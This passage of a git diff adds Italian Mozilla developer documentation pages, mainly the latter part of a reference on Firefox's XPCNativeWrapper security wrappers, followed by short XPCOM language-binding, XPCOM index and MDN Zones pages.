+<th> <a href="#Accesso_di_uno_script_protetto_ad_un_oggetto_non_attendibile">Accesso di uno script protetto ad un oggetto non attendibile</a>
+</th><td> Implicito
+</td><td> Profondo
+</td></tr>
+<tr>
+<th> <a href="#Chiamata_del_costruttore_del_XPCNativeWrapper_con_argomento_testuale">Chiamata del costruttore con argomento testuale</a>
+</th><td> Esplicito
+</td><td> Superficiale
+</td></tr>
+<tr>
+<th> <a href="#Chiamata_del_costruttore_del_XPCNativeWrapper_senza_argomento_testuale">Chiamata del costruttore senza argomento testuale</a>
+</th><td> Esplicito
+</td><td> Profondo
+</td></tr></tbody></table>
+<h4 id="Esplicito_vs._Implicito" name="Esplicito_vs._Implicito"> Esplicito vs. Implicito </h4>
+<p>La differenza di comportamento tra un <code>XPCNativeWrapper</code> esplicito ed uno implicito è che l'accesso ad una proprietà tramite un <code>XPCNativeWrapper</code> implicito da parte di uno script non <a href="#Che_cos.27.C3.A8_uno_script_protetto.3F">protetto</a> NON è sicuro. L'accesso alla proprietà sarà trasmesso attraverso il <code>wrappedJSObject</code> del <code>XPCNativeWrapper</code>.
+</p><p>Questo significa che gli script non protetti non devono preoccuparsi di eventuali bug perché gli altri codici li tratteranno come un <code>XPCNativeWrapper</code> implicito. Dall'altro lato, tali script hanno bisogno di evitare l'accesso di oggetti non sicuri.
+</p><p>L'accesso ad una proprietà attraverso un <code>XPCNativeWrapper</code> esplicito è sicuro indipendentemente dalla circostanza che lo script che effettua la chiamata sia <a href="#Che_cos.27.C3.A8_uno_script_protetto.3F">protetto</a> o meno.
+</p>
+<h4 id="Profondo_vs._Superficiale" name="Profondo_vs._Superficiale"> Profondo vs. Superficiale </h4>
+<p>La differenza di comportamento tra un <code>XPCNativeWrapper</code> profondo ed uno superficiale risiede nel fatto che quando si effettua l'accesso ad una proprietà o quando una funzione viene richiamata in un imballaggio profondo, il valore restituito sarà imballata in un suo proprio <code>XPCNativeWrapper</code>. Il nuovo <code>XPCNativeWrapper</code> sarà profondo e sarà anche <a href="#Esplicito_vs._Implicito">esplicito</a> se e solo se il <code>XPCNativeWrapper</code> al quale appartiene la proprietà alla quale si è effettuato l'accesso sia anch'esso esplicito. Al contrario, quando una si accede ad una proprietà o ad una funzione mediante un imballaggio superficiale, il valore restituito potrebbe essere un oggetto non sicuro.
+</p><p>Ad esempio, poniamo di avere tre istanze di <code>XPCNativeWrapper</code> per lo stesso oggetto <code>window</code>. Chiamiamole <code>deepExplicitWindow</code>, <code>deepImplicitWindow</code> e <code>shallowWindow</code>. Avremo quindi:
+</p>
+<pre class="eval">var doc1 = deepExplicitWindow.document;
+// doc1 è ora un <code>XPCNativeWrapper</code> profondo ed esplicito
+// per l'oggetto del documento.  Accedere a doc1.open() è sicuro.
+</pre>
+<pre class="eval">var doc2 = deepImplicitWindow.document;
+// Se lo script di chiamata ha impostato xpcnativewrappers=yes, doc2 è un
+// <code>XPCNativeWrapper</code> profondo ed implicito per l'oggetto documento.
+// Altrimenti doc2 è un oggetto documento non sicuro, datoché l'accesso
+// alle proprietà è passato semplicemente all'oggetto non sicuro.
+</pre>
+<pre class="eval">var doc3 = shallowWindow.document;
+// doc3 è un oggetto documento non sicuro.
+</pre>
+<h3 id="Creare_un_oggetto_XPCNativeWrapper" name="Creare_un_oggetto_XPCNativeWrapper"> Creare un oggetto <code>XPCNativeWrapper</code> </h3>
+<p>Ci sono tre modi diversi per creare un oggetto <code>XPCNativeWrapper</code>; un modo per ognuno dei tre tipi.
+</p>
+<h4 id="Accesso_di_uno_script_protetto_ad_un_oggetto_non_attendibile" name="Accesso_di_uno_script_protetto_ad_un_oggetto_non_attendibile"> Accesso di uno script protetto ad un oggetto non attendibile </h4>
+<p>Ogni volta che uno <a href="#Che_cos.27.C3.A8_uno_script_protetto.3F">script protetto</a> accede ad un <a href="#Che_cos.27.C3.A8_un_oggetto_non_attendibile.3F">oggetto non attendibile</a> otterrà un <code>XPCNativeWrapper</code> <a href="#Esplicito_vs._Implicito">implicito</a> e <a href="#Profondo_vs._Superficiale">profondo</a> . L'accesso alle proprietà di questo <code>XPCNativeWrapper</code> da parte di uno script protetto è sicuro.
+</p><p>Un imballaggio creato in tal modo esisterà a lungo quanto l'oggetto imballato, e un doppio accesso all'oggetto restituirà lo stesso <code>XPCNativeWrapper</code>.
+</p>
+<h5 id="Che_cos.27.C3.A8_uno_script_protetto.3F" name="Che_cos.27.C3.A8_uno_script_protetto.3F"> Che cos'è uno script protetto? </h5>
+<p>Uno script si considera protetto o non protetto a seconda del suo URI. Uno script si considera protetto solamente se il suo URI inizia con un prefisso protetto conosciuto. I prefissi protetti in Firefox 1.5 sono determinati dal Registro Chrome.
+</p><p>Come opzione predefinita, <b>tutti i pacchetti di contenuti sono protetti</b>. Questo significa che tutti gli URI che iniziano con "&lt;tt&gt;<a class=" external" rel="freelink">chrome://</a>&lt;package name&gt;/content/&lt;/tt&gt;" (per ogni pacchetto) sono protetti. I singoli pacchetti possono <a href="it/Registrazione_Chrome#xpcnativewrappers">sovrascrivere questa regola utilizzando un contrassegno</a> nel file chrome manifest.
+</p>
+<h5 id="Che_cos.27.C3.A8_un_oggetto_non_attendibile.3F" name="Che_cos.27.C3.A8_un_oggetto_non_attendibile.3F"> Che cos'è un oggetto non attendibile? </h5>
+<p>Tutti gli oggetti possono essere sia sicuri che non sicuri. Un oggetto è attendibile se una qualsiasi delle seguenti affermazioni è soddisfatta:
+</p>
+<ol><li> Il suo oggetto genitore è attendibile (la proprietà <code>__parent__</code> in JavaScript).
+</li><li> E' un oggeto che definisce il raggio d'azione di un componente JavaScript.
+</li><li> E' l'oggetto <code>window</code> per una <a href="#Che_cos.27.C3.A8_una_finestra_attendibile.3F">finestra attendibile</a>.
+</li></ol>
+<p>Poiché tutti gli oggetti DOM in una finestra hanno l'oggetto <code>window</code> come <code>__parent__</code> nella loro catena d'oggetti, sranno attendibili se e solo se anche la loro finestra risulta attendibile.
+</p>
+<h5 id="Che_cos.27.C3.A8_una_finestra_attendibile.3F" name="Che_cos.27.C3.A8_una_finestra_attendibile.3F"> Che cos'è una finestra attendibile? </h5>
+<p>Se una finestra sia sicura o meno dipende dal suo contenitore. Una finestra è attendibile se soddisfa una delle seguenti condizioni:
+</p>
+<ol><li> E' una finestra di livello principale (es. <code>&lt;xul:window&gt;</code>, <code>&lt;xul:dialog&gt;</code>, o un qualche URI passato in linea di comando con l'indicatore &lt;tt&gt;-chrome&lt;/tt&gt;).
+</li><li> L'elemento genitore è attendibile e soddisfa una di queste tre opzioni:
+<ol><li> Non viene caricato in un <code>&lt;xul:iframe&gt;</code> o <code>&lt;xul:browser&gt;</code>.
+</li><li> E' caricato in un <code>&lt;xul:iframe&gt;</code> o <code>&lt;xul:browser&gt;</code> senza l'attributo "tipo".
+</li><li> E' caricato in un <code>&lt;xul:iframe&gt;</code> o <code>&lt;xul:browser&gt;</code> e il valore dell'attributo "tipo" non è "content" e non inizia con "content-".
+</li></ol>
+</li></ol>
+<p>Nota che la circostanza che una finestra sia sicura non dipende dall'URI caricato nella finestra. Quindi, ad esempio, le seguenti stringhe creerebbero finestre attendibili qualora utilizzate in documenti le cui finestre siano già sicure:
+</p>
+<ul><li> <code>&lt;xul:browser&gt;</code>
+</li><li> <code>&lt;xul:browser type="chrome"&gt;</code>
+</li><li> <code>&lt;xul:browser type="rabid_dog"&gt;</code>
+</li><li> <code>&lt;xul:iframe type="foofy"&gt;</code>
+</li><li> <code>&lt;html:iframe&gt;</code>
+</li><li> <code>&lt;html:iframe type="content"&gt;</code>
+</li></ul>
+<p>I seguenti valori invece non creerebbero finestre attendibili:
+</p>
+<ul><li> <code>&lt;xul:browser type="content"&gt;</code>
+</li><li> <code>&lt;xul:iframe type="content-primary"&gt;</code>
+</li></ul>
+<p>N.B. qualsiasi finestra discendente di una finestra non attendibile è automaticamente un elemento non sicuro.
+</p>
+<h5 id="Cosa_accade_quando_uno_script_accede_ad_un_oggetto.3F" name="Cosa_accade_quando_uno_script_accede_ad_un_oggetto.3F"> Cosa accade quando uno script accede ad un oggetto? </h5>
+<p>La tabella riportata sotto descrive cosa accade quando uno script accede ad un oggetto, e come viene coinvolto il "wrapper".
+</p>
+<table>
+<tbody><tr>
+<th> Script
+</th><th> Oggetto
+</th><th> Effetti
+</th></tr>
+<tr>
+<td> Protetto </td><td> Attendibile </td><td> Non viene creato nessun imballaggio, e dunque lo script ha un pieno accesso all'oggetto.
+</td></tr>
+<tr>
+<td> Protetto </td><td> Non attendibile </td><td> Viene creato un <code>XPCNativeWrapper</code> <a href="#Esplicito_vs._Implicito">implicito</a> e <a href="#Profondo_vs._Superficiale">profondo</a>.
+</td></tr>
+<tr>
+<td> Non protetto </td><td> Attendibile </td><td> Non viene creato nessun imballaggio, come nel caso protetto/attendibile.
+</td></tr>
+<tr>
+<td> Non protetto </td><td> Non attendibile </td><td> Non viene creato nessun imballaggio, come nel caso protetto/attendibile.
+</td></tr></tbody></table>
+<h4 id="Chiamata_del_costruttore_del_XPCNativeWrapper_con_un_argomento_testuale" name="Chiamata_del_costruttore_del_XPCNativeWrapper_con_un_argomento_testuale"> Chiamata del costruttore del <code>XPCNativeWrapper</code> con un argomento testuale </h4>
+<p>Ad esempio:
+</p>
+<pre class="eval">var contentWinWrapper = new XPCNativeWrapper(content,
+                                             "document");
+</pre>
+<p>Questo crea un <code>XPCNativeWrapper</code> esplicito e superficiale. Questa sintassi è stata mantenta per la retrocompatibilità. Mentre l'accesso a tutte le proprietà del oggetto <code>contentWinWrapper</code> è ora sicuro, l'accesso al valore restituito da queste proprietà NON è sicuro (proprio come nelle versioni precedenti a Firefox 1.5), dal momento che il <code>XPCNativeWrapper</code> è superficiale. Quindi per confrontare il titolo del contenuto del documento con la selezione corrente del contenuto, occorre fare:
+</p>
+<pre class="eval">var winWrapper = new XPCNativeWrapper(content, "document",
+                                      "getSelection()");
+var docWrapper = new XPCNativeWrapper(winWrapper.document,
+                                      "title");
+return docWrapper.title == winWrapper.getSelection();
+</pre>
+<p>proprio come nelle versioni di Firefox precedenti alla 1.5. Nota che l'argomento <code>"getSelection()"</code> non è strettamente necessario in questo caso; se non si intende utilizzare tale codice con versioni precedenti a Firefox 1.5, può essere rimosso. Un singolo argomento testuale dopo l'imballaggio dell'oggetto è quanto è necessario a Firefox per creare questo tipo di <code>XPCNativeWrapper</code>.
+</p>
+<h4 id="Chiamata_del_costruttore_del_XPCNativeWrapper_senza_un_argomento_testuale" name="Chiamata_del_costruttore_del_XPCNativeWrapper_senza_un_argomento_testuale"> Chiamata del costruttore del <code>XPCNativeWrapper</code> senza un argomento testuale </h4>
+<p>Ad esempio:
+</p>
+<pre class="eval">var contentWinWrapper = new XPCNativeWrapper(content);
+</pre>
+<p>Questo crea un <code>XPCNativeWrapper</code> esplicito e profondo. L'accesso alle proprietà di questo <code>XPCNativeWrapper</code> è sicuro, ed anche i valori restituiti saranno imballati in un oggetto <code>XPCNativeWrapper</code> profondo ed esplicito.
+</p>
+<h3 id="Impostare_le_propriet.C3.A0_.22expando.22_in_un_XPCNativeWrapper" name="Impostare_le_propriet.C3.A0_.22expando.22_in_un_XPCNativeWrapper"> Impostare le proprietà "expando" in un <code>XPCNativeWrapper</code> </h3>
+<p>E' possibile impostare le proprietà "expando" (che sono proprietà con nomi non corrispondenti a quelli delle proprietà definite dall'IDL) in un oggetto <code>XPCNativeWrapper</code>. Se ciò viene fatto, il chrome sarà in grado di vedere queste proprietà "expando", ma il contenuto no. <b>Non esiste un modo sicuro per impostare una proprietà "expando" dal chrome e fare in modo che sia poi leggibile dal contenuto.</b>
+</p>
+<h3 id="Durata_della_vita_di_un_XPCNativeWrapper" name="Durata_della_vita_di_un_XPCNativeWrapper"> Durata della vita di un <code>XPCNativeWrapper</code> </h3>
+<p>Gli oggetti <code>XPCNativeWrapper</code> espliciti esistono finché vi viene fatto rifierimento. Creare un nuovo <code>XPCNativeWrapper</code> esplicito per lo stesso oggetto potenzialmente non sicuro, genera un nuovo imballaggio; una cosa da evitare quando si <a href="#Impostare_le_propriet.C3.A0_.22expando.22_in_un_XPCNativeWrapper">impostano le proprietà "expando"</a>
+</p><p>Gli oggetti <code>XPCNativeWrapper</code> impliciti hanno la stessa durata degli oggetti che imballano.
+</p>
+<h3 id="Accedere_a_propriet.C3.A0_non_sicure" name="Accedere_a_propriet.C3.A0_non_sicure"> Accedere a proprietà non sicure </h3>
+<p>Se per qualche ragione è necessario accedere ad una proprietà non sicura, questo può essere effettuato attraverso la proprietà <code>wrappedJSObject</code> dell'imballaggio. Ad esempio, se <code>docWrapper</code> è l'imballaggio di <code>doc</code>, allora
+</p>
+<pre class="eval">docWrapper.wrappedJSObject.prop
+</pre>
+<p>è uguale a </p>
+<pre class="eval">doc.prop
+</pre>
+<h3 id="Limitazioni_a_XPCNativeWrapper" name="Limitazioni_a_XPCNativeWrapper"> Limitazioni a <code>XPCNativeWrapper</code> </h3>
+<p>Ci sono alcune proprietà comuni e stili di programmazione che non possono essere utilizzati con un <code>XPCNativeWrapper</code>. In particolare:
+</p>
+<ol><li> L'assegnazione o la lettura di una proprietà <code>on*</code> su un <code>XPCNativeWrapper</code> di un nodo DOM o di un oggetto <code>Window</code> genererà un eccezione. (Occorre usare invece <code>addEventListener</code>, e utilizzare "event.preventDefault();" nel programma di gestione se si è già utilizzato "return false;" prima.)
+</li><li> L'accesso ai frame tramite il nome della finestra (es. <code>window.frameName</code>) non funziona con un <code>XPCNativeWrapper</code>
+</li><li> <code>document.all</code> non funziona in un <code>XPCNativeWrapper</code> per un documento.
+</li><li> L'accesso ad oggetti con un id (nome) tramite l'id non funziona con un <code>XPCNativeWrapper</code> per un documento HTML. Per esempio, se si ha <code>&lt;form name="foo"&gt;</code> e <code>docWrapper</code> è l'imballaggio del documento HTML <code>doc</code> allora <code>doc.foo</code> è un <code>HTMLFormElement</code> mentre <code>docWrapper.foo</code> è <code>undefined</code>. Deve essere utilizzato <code>docWrapper.forms.namedItem("foo")</code>.
+</li><li> L'accesso ai nodi attraverso l'id non funziona con un <code>XPCNativeWrapper</code> per un documento HTML. Dovrebbe essere utilizzato <code>getElementById</code>.
+</li><li> L'accesso agli input attraverso il nome non funziona con un <code>XPCNativeWrapper</code> per un modulo (form) HTML. Bisogna usare <code>form.elements.namedItem("inputname")</code>.
+</li><li> L'accesso ad elementi attraverso il nome non funziona con un <code>XPCNativeWrapper</code> per un <code>HTMLCollection</code>. Occorre usare il metodo <code>namedItem()</code>. Nota che <code>namedItem</code> restituisce solo il primo elemento di input con il nome, anche se vi sono elementi multipli (es. bottoni radio) che abbiano lo stesso nome.
+</li><li> I metodi di chiamata implementati dai plug-in NPAPI attraverso il <code>XPCNativeWrapper</code> dei nodi corrispondenti non funzionano.
+</li><li> Non è possibile ottenere o impostare proprietà implementate da plug-in NPAPI attraverso il <code>XPCNativeWrapper</code> dei nodi corrispondenti.
+</li><li> I metodi di chiamata implementati attraverso XBL binding associati ad un nodo attraverso il <code>XPCNativeWrapper</code> di quel nodo, non funzionano.
+</li><li> Non è possibile ottenere o impostare proprietà implementate attraverso XBL binding associati ad un nodo attraverso il <code>XPCNativeWrapper</code> di quel nodo.
+</li><li> L'elenco delle proprietà di un <code>XPCNativeWrapper</code> attraverso "<code>for (var p in wrapper)</code>" non cpntiene le proprietà definte dall'IDL.
+</li><li> Object.prototype non appartiene alla catena di prototipi di un <code>XPCNativeWrapper</code>. Come risultato, molte proprietà <code>Object.prototype</code> non sono definite in un <code>XPCNativeWrapper</code> (per essere precisi queste sono <code>__proto__</code>, <code>__parent__</code>, <code>__count__</code>, <code>toSource</code>, <code>toLocaleString</code>, <code>valueOf</code>, <code>watch</code>, <code>unwatch</code>, <code>hasOwnProperty</code>, <code>isPrototypeOf</code>, <code>propertyIsEnumerable</code>, <code>__defineGetter__</code>, <code>__defineSetter__</code>, <code>__lookupGetter__</code>, e <code>__lookupSetter__</code>).
+</li><li> Non esiste più il supporto per il metodo <code>importXPCNative</code> che le vecchie implementazioni di <code>XPCNativeWrapper</code> erano solite avere.
+</li><li> L'accesso a classi standard (come <code>Function</code>) attraverso un <code>XPCNativeWrapper</code> non avrà effetto. Per creare funzioni e oggetti con una particolare finestra genitore, occorre utilizzare la funzione <code>eval</code> di quella finestra.
+</li></ol>
+<p><a class="external" href="http://oreillynet.com/pub/a/network/2005/11/01/avoid-common-greasemonkey-pitfalls.html?page=3">Evitare insidie comuni in Greasemonkey</a>(EN) contiene una elaborata spiegazione di alcune di queste limitazioni (sebbene nel contesto degli script di Greasemonkey).
+</p>{{ languages( { "en": "en/XPCNativeWrapper", "fr": "fr/XPCNativeWrapper" } ) }}
diff --git a/files/it/xpcom/binding_per_i_linguaggi/index.html b/files/it/xpcom/binding_per_i_linguaggi/index.html
new file mode 100644
index 0000000000..14987cb6d4
--- /dev/null
+++ b/files/it/xpcom/binding_per_i_linguaggi/index.html
@@ -0,0 +1,22 @@
+---
+title: Binding per i linguaggi
+slug: XPCOM/Binding_per_i_linguaggi
+translation_of: Mozilla/Tech/XPCOM/Language_Bindings
+---
+<p>
+</p><p>Un <b>XPCOM Language Binding</b> è un ponte tra un certo linguaggio di programmazione e <a href="it/XPCOM">XPCOM</a>, che permette di:
+</p>
+<ul><li> <i>accedere agli oggetti XPCOM da dentro il linguaggio</i> (dove accedere significa leggere/scrivere/creare tali oggetti, oltre a chiamare i loro metodi);
+</li><li> <i>rendere disponibili i moduli scritti in un certo linguaggio come oggetti XPCOM</i>, quindi permettere a tutti gli altri linguaggi per i quali esistono dei binding XPCOM di accedere a questi moduli.
+</li></ul>
+<p>Poichè il framework XPCOM è scritto in C/C++, si può accedere alla sua API in modalità nativa utilizzando C o C++. Per tutti gli altri linguaggi, è necessaria un'interfaccia aggiuntiva.
+</p><p>Ecco i binding esistenti:
+</p>
+<ul><li> <b>Java</b>: <a href="it/JavaXPCOM">JavaXPCOM</a>
+</li><li> <b>JavaScript</b>: <a href="it/XPConnect">XPConnect</a>
+</li><li> <b>Perl</b>: [<a class="external" href="http://www.mozilla.org/catalog/architecture/xpcom/plxpcom/">PlXPCOM</a>]
+</li><li> <b>Python</b>: <a href="it/PyXPCOM">PyXPCOM</a>
+</li><li> <b>Ruby</b>: [<a class="external" href="http://rbxpcom.mozdev.org/">RbXPCOM</a>]
+</li></ul>
+<p>Per ulteriori informazioni su ognuno di questi binding, si può fare riferimento alle pagine linkate.
+</p>{{ languages( { "en": "en/XPCOM/Language_Bindings" } ) }}
diff --git a/files/it/xpcom/index.html b/files/it/xpcom/index.html
new file mode 100644
index 0000000000..d24fec82b4
--- /dev/null
+++ b/files/it/xpcom/index.html
@@ -0,0 +1,53 @@
+---
+title: XPCOM
+slug: XPCOM
+translation_of: Mozilla/Tech/XPCOM
+---
+<p><strong>Cross Platform Component Object Model (XPCOM)</strong> è un modello di componenti multipiattaforma. Ha diversi <a href="it/XPCOM/Binding_per_i_linguaggi">binding per i linguaggi</a> e <a href="it/XPIDL">descrizioni IDL</a> così che i programmatori possano insierire delle funzionalità personalizzate nel framework e connetterlo con altri componenti.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="Documentazione" name="Documentazione"><a href="it/Documentazione">Documentazione</a></h4>
+
+    <dl>
+     <dt><a href="it/XPCOM/Guida_di_riferimento">XPCOM: Guida di riferimento</a></dt>
+    </dl>
+
+    <dl>
+     <dt><a href="it/Creare_componenti_XPCOM">Creare componenti XPCOM</a></dt>
+     <dd><small>Costruire un componente XPCOM che controlla la visualizzazione.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="it/XPCOM/Tabelle_hash">Tabelle hash</a></dt>
+     <dd><small>Implementare e utilizzare le tabelle hash in XPCOM.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="it/XPCOM/Stringhe">Stringhe</a></dt>
+     <dd><small>Guida di riferimento per le stringhe.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="it/XPCOM/Array">Array</a></dt>
+     <dd><small>Guida di riferimento per gli array.</small></dd>
+    </dl>
+   </td>
+   <td>
+    <h4 id="Argomenti_correlati" name="Argomenti_correlati">Argomenti correlati</h4>
+
+    <ul>
+     <li><a href="it/XPCOM/Binding_per_i_linguaggi">Binding per i linguaggi</a></li>
+     <li><a href="it/JavaXPCOM">JavaXPCOM</a></li>
+     <li><a href="it/PyXPCOM">PyXPCOM</a></li>
+     <li><a href="it/XPConnect">XPConnect</a></li>
+     <li><a href="it/JavaScript">JavaScript</a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/it/zone/index.html b/files/it/zone/index.html
new file mode 100644
index 0000000000..be3d66daad
--- /dev/null
+++ b/files/it/zone/index.html
@@ -0,0 +1,57 @@
+---
+title: Zone
+slug: Zone
+tags:
+  - Firefox
+  - Firefox OS
+  - Sviluppo
+translation_of: Zones
+---
+<p><span id="result_box" lang="it"><span class="hps">Zone</span> <span class="hps">MDN</span> <span class="hps">fornisce</span> <span class="hps">l'accesso</span> <span class="hps">punto per punto ad</span> <span class="hps">informazioni sui</span> <span class="hps">settori</span> <span class="hps">o prodotti</span> o <span class="hps">argomenti specifici.</span> <span class="hps">Ecco un</span> <span class="hps">elenco di</span> <span class="hps">tutte le zone</span> <span class="hps">disponibili.</span></span></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 id="Sviluppo_Web_ed_applicazioni">Sviluppo Web ed applicazioni</h2>
+
+<dl>
+ <dt><a href="/en-US/Apps">App Center</a></dt>
+ <dd>Impara come creare applicazioni Web aperte: vivi l'esperienza di eseguire, su più dispositivi, gli stessi standard Web e tecnologie aperte che già conosci.</dd>
+ <dt><a href="/en-US/docs/Learn">Area di apprendimento</a></dt>
+ <dd>Questa sezione contiene tutti gli articoli per supportare i neofiti dello sviluppo sul Web ad iniziare in questo eccitante nuovo mondo.</dd>
+ <dt><a href="/en-US/docs/Tools">Tool di Sviluppo</a></dt>
+ <dd>Impara come usare i tool di sviluppo di Firefox per il debug, il test e l'ottimizzazione delle tue applicazioni e siti Web.</dd>
+ <dt><a href="/en-US/Marketplace">Firefox Marketplace</a></dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Un marketplace aperto, online e </span><span class="hps">non proprietario,</span> <span class="hps">per applicazioni Web</span> sviluppate <span class="hps">utilizzando HTML</span><span>, CSS e</span> <span class="hps">JavaScript</span><span>.</span> <span class="hps">Carica</span> le <span class="hps">applicazioni nel</span> <span class="hps">Marketplace</span> <span class="hps">di Firefox o</span> <span class="hps">utilizza il codice per</span> <span class="hps">costruire il tuo marketplace</span><span class="hps">.</span></span></dd>
+ <dt><a href="/en-US/docs/Games">Sviluppo giochi</a></dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Impara come</span> <span class="hps">sviluppare giochi</span> <span class="hps">per il Web</span><span>,</span> <span class="hps">come</span> <span class="hps">trasporre</span> <span class="hps">giochi esistenti</span> verso<span class="hps"> tecnologie</span> <span class="hps">Web</span><span>,</span> <span class="hps">e</span> <span class="hps">come trasformare</span> <span class="hps">i tuoi giochi</span> <span class="hps">in</span> <span class="hps">applicazioni</span> <span class="hps">Web</span><span>.</span></span></dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 id="Products" name="Products">Prodotti e progetti</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Emscripten">Emscripten</a></dt>
+ <dd>Un compilatore da LLVN a JavaScript; questo compilatore permette di compilare, per esempio,  da codice C++ a codice JavaScript, il quale può essere eseguito in qualsiasi Web browser.</dd>
+ <dt><a href="/en-US/docs/L20n">L20n</a></dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Un framework</span> <span class="hps">di localizzazione</span> <span class="hps">JavaScript</span> <span class="hps">per scatenare</span> <span class="hps">il potere</span> <span class="hps">della</span> <span class="hps">tua</span> <span class="hps">lingua</span> <span class="hps">naturale con</span> del <span class="hps">semplice codice</span><span>.</span></span></dd>
+ <dt><a href="/en-US/docs/Project:MDN">Il progetto MDN</a></dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Il</span> <span class="hps">Mozilla</span> <span class="hps">Developer Network</span> <span class="atn hps">(</span><span>questo sito)</span> <span class="hps">si affida alla sua</span> <span class="hps">comunità di lettori</span> <span class="hps">e collaboratori</span> <span class="hps">per</span> <span class="hps">crescere e migliorare</span><span>.</span> <span class="hps">Qui puoi imparare a</span><span class="hps"> collaborare</span><span>, contribuire</span><span>,</span> e <span class="hps">costruire il</span> <span class="hps">codice dietro</span> <span class="hps">MDN</span><span>!</span></span></dd>
+ <dt><a href="/en-US/Persona">Persona</a></dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Un nuovo</span> sistema <span class="hps">semplice</span><span>,</span> sensibile alla privacy, per l'accesso unificato, s<span class="hps">viluppato da</span> <span class="hps">Mozilla</span> <span class="hps">che permette agli utenti di loggarsi nel tuo sito Web </span><span class="hps">utilizzando il proprio</span> <span class="hps">indirizzo email,</span> <span class="hps">liberandoti</span> <span class="hps">dalla gestione</span> <span class="hps">delle password.</span></span></dd>
+</dl>
+
+<h2 id="Tecnologie_Mozilla">Tecnologie Mozilla</h2>
+
+<dl>
+ <dt><a href="/en-US/Add-ons">Add-ons</a></dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Imparare a sviluppare</span> <span class="hps">ed installare</span> <span class="hps">estensioni</span><span>, temi, e</span> <span class="hps">plug-in</span> <span class="hps">per il software</span> <span class="hps">basato su Mozilla</span><span>,</span> <span class="hps">incluso Firefox, il popolare</span> <span class="hps">browser Web</span><span>.</span></span></dd>
+ <dt><a href="/en-US/Firefox">Firefox</a></dt>
+ <dd>Impara tutto su Firefox, da come compilarlo e verificarlo a come costruire componenti aggiuntivi specifici.</dd>
+ <dt><a href="/en-US/Firefox_OS">Firefox OS</a></dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Un nuovo sistema</span> <span class="hps">operativo mobile,</span> <span class="hps">sviluppato da</span> <span class="hps">Mozilla</span> <span class="hps">che permette di</span> <span class="hps">installare ed eseguire</span> <span class="hps">applicazioni Web</span><span class="hps"> create</span> <span class="hps">utilizzando HTML</span><span>, CSS e</span> <span class="hps">JavaScript</span><span>.</span></span></dd>
+</dl>
+</div>
+</div>
+
+<p> </p>